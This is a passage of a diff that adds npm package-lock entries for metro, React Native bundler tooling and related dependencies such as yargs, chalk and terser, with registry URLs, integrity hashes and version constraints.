"3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "peer": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/metro-cache/node_modules/rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "peer": true, + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/metro-config": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-config/-/metro-config-0.73.8.tgz", + "integrity": "sha512-sAYq+llL6ZAfro64U99ske8HcKKswxX4wIZbll9niBKG7TkWm7tfMY1jO687XEmE4683rHncZeBRav9pLngIzg==", + "peer": true, + "dependencies": { + "cosmiconfig": "^5.0.5", + "jest-validate": "^26.5.2", + "metro": "0.73.8", + "metro-cache": "0.73.8", + "metro-core": "0.73.8", + "metro-runtime": "0.73.8" + } + }, + "node_modules/metro-config/node_modules/cosmiconfig": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-5.2.1.tgz", + "integrity": "sha512-H65gsXo1SKjf8zmrJ67eJk8aIRKV5ff2D4uKZIBZShbhGSpEmsQOPW/SKMKYhSTrqR7ufy6RP69rPogdaPh/kA==", + "peer": true, + "dependencies": { + "import-fresh": "^2.0.0", + "is-directory": "^0.3.1", + "js-yaml": "^3.13.1", + "parse-json": "^4.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/metro-config/node_modules/esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "peer": true, + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/metro-config/node_modules/js-yaml": { + "version": "3.14.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", + "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", + "peer": true, + "dependencies": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/metro-config/node_modules/metro-runtime": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-runtime/-/metro-runtime-0.73.8.tgz", + "integrity": "sha512-M+Bg9M4EN5AEpJ8NkiUsawD75ifYvYfHi05w6QzHXaqOrsTeaRbbeLuOGCYxU2f/tPg17wQV97/rqUQzs9qEtA==", + "peer": true, + "dependencies": { + "@babel/runtime": "^7.0.0", + "react-refresh": "^0.4.0" + } + }, + "node_modules/metro-config/node_modules/parse-json": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-4.0.0.tgz", + "integrity": "sha512-aOIos8bujGN93/8Ox/jPLh7RwVnPEysynVFE+fQZyg6jKELEHwzgKdLRFHUgXJL6kylijVSBC4BvN9OmsB48Rw==", + "peer": true, + "dependencies": { + "error-ex": "^1.3.1", + "json-parse-better-errors": "^1.0.1" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/metro-core": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-core/-/metro-core-0.73.8.tgz", + "integrity": "sha512-Aew4dthbZf8bRRjlYGL3cnai3+LKYTf6mc7YS2xLQRWtgGZ1b/H8nQtBvXZpfRYFcS84UeEQ10vwIf5eR3qPdQ==", + "peer": true, + "dependencies": { + "lodash.throttle": "^4.1.1", + "metro-resolver": "0.73.8" + } + }, + "node_modules/metro-file-map": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-file-map/-/metro-file-map-0.73.8.tgz", + "integrity": "sha512-CM552hUO9om02jJdLszOCIDADKNaaeVz8CjYXItndvgr5jmFlQYAR+UMvaDzeT8oYdAV1DXAljma2CS2UBymPg==", + "peer": true, + "dependencies": { + "abort-controller": "^3.0.0", + "anymatch": "^3.0.3", + "debug": "^2.2.0", + "fb-watchman": "^2.0.0", + "graceful-fs": "^4.2.4", + "invariant": "^2.2.4", + "jest-regex-util": "^27.0.6", + "jest-serializer": "^27.0.6", + "jest-util": "^27.2.0", + "jest-worker": "^27.2.0", + "micromatch": "^4.0.4", + "nullthrows": "^1.1.1", + "walker": "^1.0.7" + }, + "optionalDependencies": { + "fsevents": "^2.3.2" + } + }, + "node_modules/metro-file-map/node_modules/@jest/types": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz", + "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==", + "peer": true, + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^16.0.0", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/metro-file-map/node_modules/@types/yargs": { + "version": "16.0.5", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.5.tgz", + "integrity": "sha512-AxO/ADJOBFJScHbWhq2xAhlWP24rY4aCEG/NFaMvbT3X2MgRsLjhjQwsn0Zi5zn0LG9jUhCCZMeX9Dkuw6k+vQ==", + "peer": true, + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/metro-file-map/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/metro-file-map/node_modules/anymatch": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", + "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", + "peer": true, + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/metro-file-map/node_modules/braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "peer": true, + "dependencies": { + "fill-range": "^7.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/metro-file-map/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/metro-file-map/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/metro-file-map/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "node_modules/metro-file-map/node_modules/fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "peer": true, + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/metro-file-map/node_modules/fsevents": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "hasInstallScript": true, + "optional": true, + "os": [ + "darwin" + ], + "peer": true, + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/metro-file-map/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/metro-file-map/node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "peer": true, + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/metro-file-map/node_modules/jest-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz", + "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==", + "peer": true, + "dependencies": { + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/metro-file-map/node_modules/micromatch": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz", + "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==", + "peer": true, + "dependencies": { + "braces": "^3.0.2", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/metro-file-map/node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "peer": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/metro-file-map/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/metro-file-map/node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "peer": true, + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/metro-hermes-compiler": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-hermes-compiler/-/metro-hermes-compiler-0.73.8.tgz", + "integrity": "sha512-2d7t+TEoQLk+jyXgBykmAtPPJK2B46DB3qUYIMKDFDDaKzCljrojyVuGgQq6SM1f95fe6HDAQ3K9ihTjeB90yw==", + "peer": true + }, + "node_modules/metro-inspector-proxy": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-inspector-proxy/-/metro-inspector-proxy-0.73.8.tgz", + "integrity": "sha512-F0QxwDTox0TDeXVRN7ZmI7BknBjPDVKQ1ZeKznFBiMa0SXiD1kzoksfpDbZ6hTEKrhVM9Ep0YQmC7avwZouOnA==", + "peer": true, + "dependencies": { + "connect": "^3.6.5", + "debug": "^2.2.0", + "ws": "^7.5.1", + "yargs": "^17.5.1" + }, + "bin": { + "metro-inspector-proxy": "src/cli.js" + } + }, + "node_modules/metro-inspector-proxy/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/metro-inspector-proxy/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/metro-inspector-proxy/node_modules/cliui": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", + "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==", + "peer": true, + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.1", + "wrap-ansi": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/metro-inspector-proxy/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/metro-inspector-proxy/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "node_modules/metro-inspector-proxy/node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "peer": true, + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/metro-inspector-proxy/node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/metro-inspector-proxy/node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "peer": true, + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/metro-inspector-proxy/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "peer": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/metro-inspector-proxy/node_modules/wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "peer": true, + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/metro-inspector-proxy/node_modules/ws": { + "version": "7.5.9", + "resolved": "https://registry.npmjs.org/ws/-/ws-7.5.9.tgz", + "integrity": "sha512-F+P9Jil7UiSKSkppIiD94dN07AwvFixvLIj1Og1Rl9GGMuNipJnV9JzjD6XuqmAeiswGvUmNLjr5cFuXwNS77Q==", + "peer": true, + "engines": { + "node": ">=8.3.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": "^5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/metro-inspector-proxy/node_modules/y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "peer": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/metro-inspector-proxy/node_modules/yargs": { + "version": "17.7.1", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.1.tgz", + "integrity": "sha512-cwiTb08Xuv5fqF4AovYacTFNxk62th7LKJ6BL9IGUpTJrWoU7/7WdQGTP2SjKf1dUNBGzDd28p/Yfs/GI6JrLw==", + "peer": true, + "dependencies": { + "cliui": "^8.0.1", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.3", + "y18n": "^5.0.5", + "yargs-parser": "^21.1.1" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/metro-inspector-proxy/node_modules/yargs-parser": { + "version": "21.1.1", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", + "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==", + "peer": true, + "engines": { + "node": ">=12" + } + }, + "node_modules/metro-minify-terser": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-minify-terser/-/metro-minify-terser-0.73.8.tgz", + "integrity": "sha512-pnagyXAoMPhihWrHRIWqCxrP6EJ8Hfugv5RXBb6HbOANmwajn2uQuzeu18+dXaN1yPoDCMCgpg/UA4ibFN5jtQ==", + "peer": true, + "dependencies": { + "terser": "^5.15.0" + } + }, + "node_modules/metro-minify-terser/node_modules/acorn": { + "version": "8.8.2", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.8.2.tgz", + "integrity": "sha512-xjIYgE8HBrkpd/sJqOGNspf8uHG+NOHGOw6a/Urj8taM2EXfdNAH2oFcPeIFfsv3+kz/mJrS5VuMqbNLjCa2vw==", + "peer": true, + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/metro-minify-terser/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "peer": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/metro-minify-terser/node_modules/source-map-support": { + "version": "0.5.21", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz", + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", + "peer": true, + "dependencies": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "node_modules/metro-minify-terser/node_modules/terser": { + "version": "5.16.5", + "resolved": "https://registry.npmjs.org/terser/-/terser-5.16.5.tgz", + "integrity": "sha512-qcwfg4+RZa3YvlFh0qjifnzBHjKGNbtDo9yivMqMFDy9Q6FSaQWSB/j1xKhsoUFJIqDOM3TsN6D5xbrMrFcHbg==", + "peer": true, + "dependencies": { + "@jridgewell/source-map": "^0.3.2", + "acorn": "^8.5.0", + "commander": "^2.20.0", + "source-map-support": "~0.5.20" + }, + "bin": { + "terser": "bin/terser" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/metro-minify-uglify": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-minify-uglify/-/metro-minify-uglify-0.73.8.tgz", + "integrity": "sha512-9wZqKfraVfmtMXdOzRyan+6r1woQXqqa4KeXfVh7+Mxl+5+J0Lmw6EvTrWawsaOEpvpn32q9MfoHC1d8plDJwA==", + "peer": true, + "dependencies": { + "uglify-es": "^3.1.9" + } + }, + "node_modules/metro-react-native-babel-preset": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-react-native-babel-preset/-/metro-react-native-babel-preset-0.73.8.tgz", + "integrity": "sha512-spNrcQJTbQntEIqJnCA6yL4S+dzV9fXCk7U+Rm7yJasZ4o4Frn7jP23isu7FlZIp1Azx1+6SbP7SgQM+IP5JgQ==", + "peer": true, + "dependencies": { + "@babel/core": "^7.20.0", + "@babel/plugin-proposal-async-generator-functions": "^7.0.0", + "@babel/plugin-proposal-class-properties": "^7.0.0", + "@babel/plugin-proposal-export-default-from": "^7.0.0", + "@babel/plugin-proposal-nullish-coalescing-operator": "^7.0.0", + "@babel/plugin-proposal-object-rest-spread": "^7.0.0", + "@babel/plugin-proposal-optional-catch-binding": "^7.0.0", + "@babel/plugin-proposal-optional-chaining": "^7.0.0", + "@babel/plugin-syntax-dynamic-import": "^7.0.0", + "@babel/plugin-syntax-export-default-from": "^7.0.0", + "@babel/plugin-syntax-flow": "^7.18.0", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.0.0", + "@babel/plugin-syntax-optional-chaining": "^7.0.0", + "@babel/plugin-transform-arrow-functions": "^7.0.0", + "@babel/plugin-transform-async-to-generator": "^7.0.0", + "@babel/plugin-transform-block-scoping": "^7.0.0", + "@babel/plugin-transform-classes": "^7.0.0", + "@babel/plugin-transform-computed-properties": "^7.0.0", + "@babel/plugin-transform-destructuring": "^7.0.0", + "@babel/plugin-transform-flow-strip-types": "^7.0.0", + "@babel/plugin-transform-function-name": "^7.0.0", + "@babel/plugin-transform-literals": "^7.0.0", + "@babel/plugin-transform-modules-commonjs": "^7.0.0", + "@babel/plugin-transform-named-capturing-groups-regex": "^7.0.0", + "@babel/plugin-transform-parameters": "^7.0.0", + "@babel/plugin-transform-react-display-name": "^7.0.0", + "@babel/plugin-transform-react-jsx": "^7.0.0", + "@babel/plugin-transform-react-jsx-self": "^7.0.0", + "@babel/plugin-transform-react-jsx-source": "^7.0.0", + "@babel/plugin-transform-runtime": "^7.0.0", + "@babel/plugin-transform-shorthand-properties": "^7.0.0", + "@babel/plugin-transform-spread": "^7.0.0", + "@babel/plugin-transform-sticky-regex": "^7.0.0", + "@babel/plugin-transform-template-literals": "^7.0.0", + "@babel/plugin-transform-typescript": "^7.5.0", + "@babel/plugin-transform-unicode-regex": "^7.0.0", + "@babel/template": "^7.0.0", + "react-refresh": "^0.4.0" + }, + "peerDependencies": { + "@babel/core": "*" + } + }, + "node_modules/metro-react-native-babel-transformer": { + "version": "0.73.7", + "resolved": "https://registry.npmjs.org/metro-react-native-babel-transformer/-/metro-react-native-babel-transformer-0.73.7.tgz", + "integrity": "sha512-73HW8betjX+VPm3iqsMBe8F/F2Tt+hONO6YJwcF7FonTqQYW1oTz0dOp0dClZGfHUXxpJBz6Vuo7J6TpdzDD+w==", + "peer": true, + "dependencies": { + "@babel/core": "^7.20.0", + "babel-preset-fbjs": "^3.4.0", + "hermes-parser": "0.8.0", + "metro-babel-transformer": "0.73.7", + "metro-react-native-babel-preset": "0.73.7", + "metro-source-map": "0.73.7", + "nullthrows": "^1.1.1" + }, + "peerDependencies": { + "@babel/core": "*" + } + }, + "node_modules/metro-react-native-babel-transformer/node_modules/metro-babel-transformer": { + "version": "0.73.7", + "resolved": "https://registry.npmjs.org/metro-babel-transformer/-/metro-babel-transformer-0.73.7.tgz", + "integrity": "sha512-s7UVkwovGTEXYEQrv5hcmSBbFJ9s9lhCRNMScn4Itgj3UMdqRr9lU8DXKEFlJ7osgRxN6n5+eXqcvhE4B1H1VQ==", + "peer": true, + "dependencies": { + "@babel/core": "^7.20.0", + "hermes-parser": "0.8.0", + "metro-source-map": "0.73.7", + "nullthrows": "^1.1.1" + } + }, + "node_modules/metro-react-native-babel-transformer/node_modules/metro-react-native-babel-preset": { + "version": "0.73.7", + "resolved": "https://registry.npmjs.org/metro-react-native-babel-preset/-/metro-react-native-babel-preset-0.73.7.tgz", + "integrity": "sha512-RKcmRZREjJCzHKP+JhC9QTCohkeb3xa/DtqHU14U5KWzJHdC0mMrkTZYNXhV0cryxsaVKVEw5873KhbZyZHMVw==", + "peer": true, + "dependencies": { + "@babel/core": "^7.20.0", + "@babel/plugin-proposal-async-generator-functions": "^7.0.0", + "@babel/plugin-proposal-class-properties": "^7.0.0", + "@babel/plugin-proposal-export-default-from": "^7.0.0", + "@babel/plugin-proposal-nullish-coalescing-operator": "^7.0.0", + "@babel/plugin-proposal-object-rest-spread": "^7.0.0", + "@babel/plugin-proposal-optional-catch-binding": "^7.0.0", + "@babel/plugin-proposal-optional-chaining": "^7.0.0", + "@babel/plugin-syntax-dynamic-import": "^7.0.0", + "@babel/plugin-syntax-export-default-from": "^7.0.0", + "@babel/plugin-syntax-flow": "^7.18.0", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.0.0", + "@babel/plugin-syntax-optional-chaining": "^7.0.0", + "@babel/plugin-transform-arrow-functions": "^7.0.0", + "@babel/plugin-transform-async-to-generator": "^7.0.0", + "@babel/plugin-transform-block-scoping": "^7.0.0", + "@babel/plugin-transform-classes": "^7.0.0", + "@babel/plugin-transform-computed-properties": "^7.0.0", + "@babel/plugin-transform-destructuring": "^7.0.0", + "@babel/plugin-transform-flow-strip-types": "^7.0.0", + "@babel/plugin-transform-function-name": "^7.0.0", + "@babel/plugin-transform-literals": "^7.0.0", + "@babel/plugin-transform-modules-commonjs": "^7.0.0", + "@babel/plugin-transform-named-capturing-groups-regex": "^7.0.0", + "@babel/plugin-transform-parameters": "^7.0.0", + "@babel/plugin-transform-react-display-name": "^7.0.0", + "@babel/plugin-transform-react-jsx": "^7.0.0", + "@babel/plugin-transform-react-jsx-self": "^7.0.0", + "@babel/plugin-transform-react-jsx-source": "^7.0.0", + "@babel/plugin-transform-runtime": "^7.0.0", + "@babel/plugin-transform-shorthand-properties": "^7.0.0", + "@babel/plugin-transform-spread": "^7.0.0", + "@babel/plugin-transform-sticky-regex": "^7.0.0", + "@babel/plugin-transform-template-literals": "^7.0.0", + 